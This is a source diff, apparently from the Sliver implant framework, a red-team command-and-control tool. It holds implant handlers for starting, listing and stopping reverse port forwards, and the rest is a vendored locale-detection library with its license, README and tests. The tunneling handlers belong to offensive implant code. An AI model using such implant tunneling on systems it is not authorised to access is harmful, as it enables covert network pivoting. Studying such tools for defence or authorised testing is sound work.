// GetRportFwdHandlers - Returns a map of reverse port forwarding handlers
|
||||
func GetRportFwdHandlers() map[uint32]RportFwdHandler {
|
||||
return genericRportFwdHandlers
|
||||
}
|
||||
|
||||
func rportFwdListenersHandler(envelope *pb.Envelope, connection *transports.Connection) {
|
||||
|
||||
forwards := rportfwd.Portfwds.List()
|
||||
var portfwdListeners []*pb.RportFwdListener
|
||||
|
||||
for _, portfwd := range forwards {
|
||||
|
||||
portfwdListeners = append(portfwdListeners, &pb.RportFwdListener{
|
||||
ID: uint32(portfwd.ID),
|
||||
BindAddress: portfwd.BindAddr,
|
||||
ForwardAddress: portfwd.RemoteAddr,
|
||||
})
|
||||
}
|
||||
data, _ := proto.Marshal(&pb.RportFwdListeners{
|
||||
Listeners: portfwdListeners,
|
||||
Response: &commonpb.Response{},
|
||||
})
|
||||
connection.Send <- &pb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
|
||||
}
|
||||
func rportFwdStartListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
|
||||
req := &pb.RportFwdStartListenerReq{}
|
||||
resp := &pb.RportFwdListener{Response: &commonpb.Response{}}
|
||||
err := proto.Unmarshal(envelope.Data, req)
|
||||
if err != nil {
|
||||
resp.Response.Err = err.Error()
|
||||
data, _ := proto.Marshal(resp)
|
||||
connection.Send <- &pb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
return
|
||||
}
|
||||
rportfwds := rportfwd.Portfwds.List()
|
||||
|
||||
for _, r := range rportfwds {
|
||||
if r.BindAddr == req.BindAddress {
|
||||
resp.Response.Err = "Already listening on " + r.BindAddr + "\n"
|
||||
data, _ := proto.Marshal(resp)
|
||||
connection.Send <- &pb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
tcpProxy := &tcpproxy.Proxy{}
|
||||
channelProxy := &rportfwd.ChannelProxy{
|
||||
Conn: connection,
|
||||
RemoteAddr: req.ForwardAddress,
|
||||
BindAddr: req.BindAddress,
|
||||
KeepAlivePeriod: 1000 * time.Second,
|
||||
DialTimeout: 30 * time.Second,
|
||||
}
|
||||
tcpProxy.AddRoute(req.BindAddress, channelProxy)
|
||||
rportfwd := rportfwd.Portfwds.Add(tcpProxy, channelProxy)
|
||||
|
||||
go func() {
|
||||
err := tcpProxy.Run()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Proxy error %s", err)
|
||||
// {{end}}
|
||||
}
|
||||
}()
|
||||
resp.BindAddress = req.BindAddress
|
||||
resp.ForwardAddress = req.ForwardAddress
|
||||
resp.BindPort = req.ForwardPort
|
||||
resp.ForwardPort = req.ForwardPort
|
||||
resp.ID = uint32(rportfwd.ID)
|
||||
|
||||
data, _ := proto.Marshal(resp)
|
||||
connection.Send <- &pb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
}
|
||||
|
||||
func rportFwdStopListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
|
||||
req := &pb.RportFwdStopListenerReq{}
|
||||
resp := &pb.RportFwdListener{Response: &commonpb.Response{}}
|
||||
err := proto.Unmarshal(envelope.Data, req)
|
||||
if err != nil {
|
||||
resp.Response.Err = err.Error()
|
||||
data, _ := proto.Marshal(resp)
|
||||
connection.Send <- &pb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
rportfwd := rportfwd.Portfwds.Remove(int(req.ID))
|
||||
if rportfwd != nil {
|
||||
resp.ID = uint32(rportfwd.ID)
|
||||
resp.BindAddress = rportfwd.ChannelProxy.BindAddr
|
||||
resp.ForwardAddress = rportfwd.ChannelProxy.RemoteAddr
|
||||
} else {
|
||||
resp.Response.Err = "Invalid ID\n"
|
||||
}
|
||||
|
||||
data, _ := proto.Marshal(resp)
|
||||
connection.Send <- &pb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,201 @@
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright 2014 Pivotal
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,95 @@
|
||||
# Jibber Jabber [](https://travis-ci.org/cubiest/jibberjabber)
|
||||
|
||||
Jibber Jabber is a GoLang Library that can be used to detect an operating system's current language, plus helper functionalities for app development.
|
||||
|
||||
|
||||
## OS Support
|
||||
|
||||
UNIX: **GNU/Linux**, **macOS**, **FreeBSD**, **OpenBSD**, **NetBSD**
|
||||
via the `LC_MESSAGES`, `LC_ALL` and `LANG` environment variables. They are checked in the aforementioned order.
|
||||
These variables are used in ALL versions of UNIX for language detection.
|
||||
|
||||
**Windows**
|
||||
via [GetUserDefaultLocaleName](https://docs.microsoft.com/en-gb/windows/win32/api/winnls/nf-winnls-getuserdefaultlocalename) and [GetSystemDefaultLocaleName](https://docs.microsoft.com/en-gb/windows/win32/api/winnls/nf-winnls-getsystemdefaultlocalename) system calls. These calls are supported in Windows Vista and up.
|
||||
|
||||
|
||||
|
||||
## DetectIETF
|
||||
|
||||
`DetectIETF` will return the current locale as a string. The format of the locale will be the [ISO 639](http://en.wikipedia.org/wiki/ISO_639) two-letter language code, a DASH, then an [ISO 3166](http://en.wikipedia.org/wiki/ISO_3166-1) two-letter country code.
|
||||
|
||||
**Example:**
|
||||
```golang
|
||||
userLocale, err := jibberjabber.DetectIETF()
|
||||
println("Locale:", userLocale)
|
||||
```
|
||||
|
||||
|
||||
## DetectLanguage
|
||||
`DetectLanguage` will return the current language as a string. The format will be the [ISO 639](http://en.wikipedia.org/wiki/ISO_639) two-letter language code.
|
||||
|
||||
also import the following packages for parsing the returned locale
|
||||
```golang
|
||||
"golang.org/x/text/language"
|
||||
"golang.org/x/text/language/display"
|
||||
|
||||
```
|
||||
|
||||
|
||||
**Example:**
|
||||
```golang
|
||||
userLanguage, err := jibberjabber.DetectLanguage()
|
||||
println("Language:", userLanguage)
|
||||
languageTag, parseErr := language.Parse(userLanguage)
|
||||
println("Language:", display.Self.Name(languageTag))
|
||||
|
||||
```
|
||||
|
||||
|
||||
## DetectLanguageTag
|
||||
|
||||
`DetectLanguageTag` will return the current language as a language tag as specified by `"golang.org/x/text/language"`.
|
||||
|
||||
**Example:**
|
||||
```golang
|
||||
languageTag, parseErr := jibberjabber.DetectLanguageTag()
|
||||
println("Language:", display.Self.Name(languageTag))
|
||||
|
||||
```
|
||||
|
||||
|
||||
## DetectTerritory
|
||||
|
||||
`DetectTerritory` will return the current locale territory as a string. The format will be the [ISO 3166](http://en.wikipedia.org/wiki/ISO_3166-1) two-letter country code.
|
||||
|
||||
**Example:**
|
||||
```golang
|
||||
localeTerritory, err := jibberjabber.DetectTerritory()
|
||||
println("Territory:", localeTerritory)
|
||||
```
|
||||
|
||||
|
||||
## About Errors in Detect
|
||||
|
||||
All the Detect commands will return an error if they are unable to read the Locale from the system.
|
||||
|
||||
For Windows, additional error information is provided due to the nature of the system call being used.
|
||||
|
||||
|
||||
## Helper Singleton
|
||||
|
||||
There is a singleton you can, but don't have to, use. It helps you define and later check which locales you support in your application - if not, apply a fallback language locale.
|
||||
|
||||
**Example:**
|
||||
```golang
|
||||
langServer := jibberjabber.LanguageServer()
|
||||
langServer.SetSupportedLanguages(map[language.Tag]string{
|
||||
language.German: "active.de.toml",
|
||||
language.English: "active.en.toml",
|
||||
}
|
||||
langServer.SetFallbackLanguage(language.English)
|
||||
langLocale, err := langServer.StringToSupportedLanguageTag("something") // returns `language.English`
|
||||
if err != nil {
|
||||
log.Printf("failed fetching supported language locale, use fallback language locale %q\n", display.Self.Name(langLocale))
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,44 @@
|
||||
package jibberjabber
|
||||
|
||||
import (
|
||||
"errors"
|
||||
// "fmt"
|
||||
// "sort"
|
||||
"strings"
|
||||
// "sync"
|
||||
|
||||
// "golang.org/x/text/language"
|
||||
// "golang.org/x/text/language/display"
|
||||
)
|
||||
|
||||
var (
|
||||
ErrLangDetectFail = errors.New("could not detect Language")
|
||||
ErrLangFallbackUndefined = errors.New("no fallback language defined")
|
||||
ErrLangFallbackUnsupported = errors.New("defined fallback language is not supported")
|
||||
ErrLangUnsupported = errors.New("language not supported")
|
||||
ErrLangParse = errors.New("language identifier cannot be parsed")
|
||||
)
|
||||
|
||||
func splitLocale(locale string) (string, string) {
|
||||
formattedLocale := strings.Split(locale, ".")[0]
|
||||
formattedLocale = strings.Replace(formattedLocale, "-", "_", -1)
|
||||
|
||||
pieces := strings.Split(formattedLocale, "_")
|
||||
language := pieces[0]
|
||||
territory := ""
|
||||
if len(pieces) > 1 {
|
||||
territory = strings.Split(formattedLocale, "_")[1]
|
||||
}
|
||||
return language, territory
|
||||
}
|
||||
|
||||
/**
|
||||
* languageServer
|
||||
*/
|
||||
|
||||
|
||||
// IsError checks an error you received from one of jibberjabber's funcs for a jibberjabber error like `ErrLangDetectFail`.
|
||||
// Reason you cannot use e.g. `errors.Is()`: currently, golang does not allow native chain-wrapping errors. Therefore, `errors.Unwrap()`, `errors.Is()` & Co. won't return `true` for jibberjabber errors.
|
||||
func IsError(err error, jjError error) bool {
|
||||
return strings.HasPrefix(err.Error(), jjError.Error())
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
package jibberjabber_test
|
||||
|
||||
import (
|
||||
. "github.com/onsi/ginkgo"
|
||||
. "github.com/onsi/gomega"
|
||||
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestJibberJabber(t *testing.T) {
|
||||
RegisterFailHandler(Fail)
|
||||
RunSpecs(t, "Jibber Jabber Suite")
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
// +build darwin freebsd linux netbsd openbsd
|
||||
|
||||
package jibberjabber
|
||||
|
||||
import (
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func getLangFromEnv() string {
|
||||
for _, env := range []string{"LC_MESSAGES", "LC_ALL", "LANG"} {
|
||||
locale := os.Getenv(env)
|
||||
if len(locale) > 0 {
|
||||
return locale
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func getUnixLocale() (string, error) {
|
||||
locale := getLangFromEnv()
|
||||
if len(locale) <= 0 {
|
||||
return "", ErrLangDetectFail
|
||||
}
|
||||
return locale, nil
|
||||
}
|
||||
|
||||
// DetectIETF detects and returns the IETF language tag of UNIX systems, like Linux and macOS.
|
||||
// If a territory is defined, the returned value will be in the format of `[language]-[territory]`,
|
||||
// e.g. `en-GB`.
|
||||
func DetectIETF() (string, error) {
|
||||
locale, err := getUnixLocale()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
language, territory := splitLocale(locale)
|
||||
locale = language
|
||||
if len(territory) > 0 {
|
||||
locale = strings.Join([]string{language, territory}, "-")
|
||||
}
|
||||
|
||||
return locale, nil
|
||||
}
|
||||
@@ -0,0 +1,155 @@
|
||||
// +build darwin freebsd linux netbsd openbsd
|
||||
|
||||
package jibberjabber_test
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"os"
|
||||
|
||||
. "github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
|
||||
|
||||
. "github.com/onsi/ginkgo"
|
||||
. "github.com/onsi/gomega"
|
||||
)
|
||||
|
||||
var _ = Describe("Unix", func() {
|
||||
AfterEach(func() {
|
||||
os.Setenv("LC_MESSAGES", "")
|
||||
os.Setenv("LC_ALL", "")
|
||||
os.Setenv("LANG", "en_US.UTF-8")
|
||||
})
|
||||
|
||||
Describe("#DetectIETF", func() {
|
||||
Context("Returns IETF encoded locale", func() {
|
||||
It("should return the locale set to LC_MESSAGES", func() {
|
||||
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
|
||||
result, _ := DetectIETF()
|
||||
Ω(result).Should(Equal("fr-FR"))
|
||||
})
|
||||
|
||||
It("should return the locale set to LC_ALL if LC_MESSAGES isn't set", func() {
|
||||
os.Setenv("LC_ALL", "fr_FR.UTF-8")
|
||||
result, _ := DetectIETF()
|
||||
Ω(result).Should(Equal("fr-FR"))
|
||||
})
|
||||
|
||||
It("should return the locale set to LANG if LC_ALL isn't set", func() {
|
||||
os.Setenv("LANG", "fr_FR.UTF-8")
|
||||
result, _ := DetectIETF()
|
||||
Ω(result).Should(Equal("fr-FR"))
|
||||
})
|
||||
|
||||
It("should return an error if it cannot detect a locale", func() {
|
||||
os.Setenv("LANG", "")
|
||||
_, err := DetectIETF()
|
||||
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
|
||||
Context("when the locale is simply 'fr'", func() {
|
||||
BeforeEach(func() {
|
||||
os.Setenv("LANG", "fr")
|
||||
})
|
||||
|
||||
It("should return the locale without a territory", func() {
|
||||
language, err := DetectIETF()
|
||||
Ω(err).ShouldNot(HaveOccurred())
|
||||
Ω(language).Should(Equal("fr"))
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectLanguage", func() {
|
||||
Context("Returns encoded language", func() {
|
||||
It("should return the language set to LC_MESSAGES", func() {
|
||||
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguage()
|
||||
Ω(result).Should(Equal("fr"))
|
||||
})
|
||||
|
||||
It("should return the language set to LC_ALL if LC_MESSAGES isn't set", func() {
|
||||
os.Setenv("LC_ALL", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguage()
|
||||
Ω(result).Should(Equal("fr"))
|
||||
})
|
||||
|
||||
It("should return the language set to LANG if LC_ALL isn't set", func() {
|
||||
os.Setenv("LANG", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguage()
|
||||
Ω(result).Should(Equal("fr"))
|
||||
})
|
||||
|
||||
It("should return an error if it cannot detect a language", func() {
|
||||
os.Setenv("LANG", "")
|
||||
_, err := DetectLanguage()
|
||||
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectLanguageTag", func() {
|
||||
Context("Returns encoded language tag", func() {
|
||||
It("should return language tag corresponding to the language set to LC_MESSAGES", func() {
|
||||
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguageTag()
|
||||
base, _ := result.Base()
|
||||
Ω(base.String()).Should(Equal("fr"))
|
||||
region, _ := result.Region()
|
||||
Ω(region.String()).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return language tag corresponding to the language set to LC_ALL if LC_MESSAGES isn't set", func() {
|
||||
os.Setenv("LC_ALL", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguageTag()
|
||||
base, _ := result.Base()
|
||||
Ω(base.String()).Should(Equal("fr"))
|
||||
region, _ := result.Region()
|
||||
Ω(region.String()).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return language tag corresponding to the language set to LANG if LC_ALL isn't set", func() {
|
||||
os.Setenv("LANG", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguageTag()
|
||||
base, _ := result.Base()
|
||||
Ω(base.String()).Should(Equal("fr"))
|
||||
region, _ := result.Region()
|
||||
Ω(region.String()).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return an error if it cannot detect and parse a language tag", func() {
|
||||
os.Setenv("LANG", "")
|
||||
_, err := DetectLanguageTag()
|
||||
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectTerritory", func() {
|
||||
Context("Returns encoded territory", func() {
|
||||
It("should return the territory set to LC_MESSAGES", func() {
|
||||
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
|
||||
result, _ := DetectTerritory()
|
||||
Ω(result).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return the territory set to LC_ALL if LC_MESSAGES isn't set", func() {
|
||||
os.Setenv("LC_ALL", "fr_FR.UTF-8")
|
||||
result, _ := DetectTerritory()
|
||||
Ω(result).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return the territory set to LANG if LC_ALL isn't set", func() {
|
||||
os.Setenv("LANG", "fr_FR.UTF-8")
|
||||
result, _ := DetectTerritory()
|
||||
Ω(result).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return an error if it cannot detect a territory", func() {
|
||||
os.Setenv("LANG", "")
|
||||
_, err := DetectTerritory()
|
||||
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
})
|
||||
@@ -0,0 +1,47 @@
|
||||
// +build windows
|
||||
|
||||
package jibberjabber
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// TODO: read LOCALE_NAME_MAX_LENGTH from Windows, instead of hard-coding '85'
|
||||
const LOCALE_NAME_MAX_LENGTH uint32 = 85
|
||||
|
||||
func getWindowsLocaleFrom(sysCall string) (string, error) {
|
||||
buffer := make([]uint16, LOCALE_NAME_MAX_LENGTH)
|
||||
|
||||
dll, err := windows.LoadDLL("kernel32")
|
||||
if err != nil {
|
||||
return "", errors.New("could not find kernel32 dll: " + err.Error())
|
||||
}
|
||||
|
||||
proc, err := dll.FindProc(sysCall)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
r, _, dllError := proc.Call(uintptr(unsafe.Pointer(&buffer[0])), uintptr(LOCALE_NAME_MAX_LENGTH))
|
||||
if r == 0 {
|
||||
return "", errors.New(ErrLangDetectFail.Error() + ": " + dllError.Error())
|
||||
}
|
||||
|
||||
return windows.UTF16ToString(buffer), nil
|
||||
}
|
||||
|
||||
func getWindowsLocale() (string, error) {
|
||||
locale, err := getWindowsLocaleFrom("GetUserDefaultLocaleName")
|
||||
if err != nil {
|
||||
locale, err = getWindowsLocaleFrom("GetSystemDefaultLocaleName")
|
||||
}
|
||||
return locale, err
|
||||
}
|
||||
|
||||
// DetectIETF detects and returns the IETF language tag of Windows.
|
||||
func DetectIETF() (string, error) {
|
||||
return getWindowsLocale()
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
// +build windows
|
||||
|
||||
package jibberjabber_test
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
|
||||
. "github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
|
||||
|
||||
. "github.com/onsi/ginkgo"
|
||||
. "github.com/onsi/gomega"
|
||||
)
|
||||
|
||||
const (
|
||||
LOCALE_REGEXP = "^[a-z]{2}-[A-Z]{2}$"
|
||||
LANGUAGE_REGEXP = "^[a-z]{2}$"
|
||||
TERRITORY_REGEXP = "^[A-Z]{2}$"
|
||||
)
|
||||
|
||||
var _ = Describe("Windows", func() {
|
||||
BeforeEach(func() {
|
||||
locale, err := DetectIETF()
|
||||
Ω(err).Should(BeNil())
|
||||
Ω(locale).ShouldNot(BeNil())
|
||||
Ω(locale).ShouldNot(Equal(""))
|
||||
})
|
||||
|
||||
Describe("#DetectIETF", func() {
|
||||
It("detects correct IETF locale", func() {
|
||||
locale, _ := DetectIETF()
|
||||
matched, _ := regexp.MatchString(LOCALE_REGEXP, locale)
|
||||
Ω(matched).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectLanguage", func() {
|
||||
It("detects correct Language", func() {
|
||||
language, _ := DetectLanguage()
|
||||
matched, _ := regexp.MatchString(LANGUAGE_REGEXP, language)
|
||||
Ω(matched).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectLanguageTag", func() {
|
||||
It("detects correct Language Tag", func() {
|
||||
result, _ := DetectLanguageTag()
|
||||
base, _ := result.Base()
|
||||
matched, _ := regexp.MatchString(LANGUAGE_REGEXP, base.String())
|
||||
Ω(matched).Should(BeTrue())
|
||||
region, _ := result.Region()
|
||||
matched, _ = regexp.MatchString(TERRITORY_REGEXP, region.String())
|
||||
Ω(matched).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectTerritory", func() {
|
||||
It("detects correct Territory", func() {
|
||||
territory, _ := DetectTerritory()
|
||||
matched, _ := regexp.MatchString(TERRITORY_REGEXP, territory)
|
||||
Ω(matched).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,35 @@
|
||||
//go:build darwin || linux || windows
|
||||
|
||||
package locale
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
|
||||
import (
|
||||
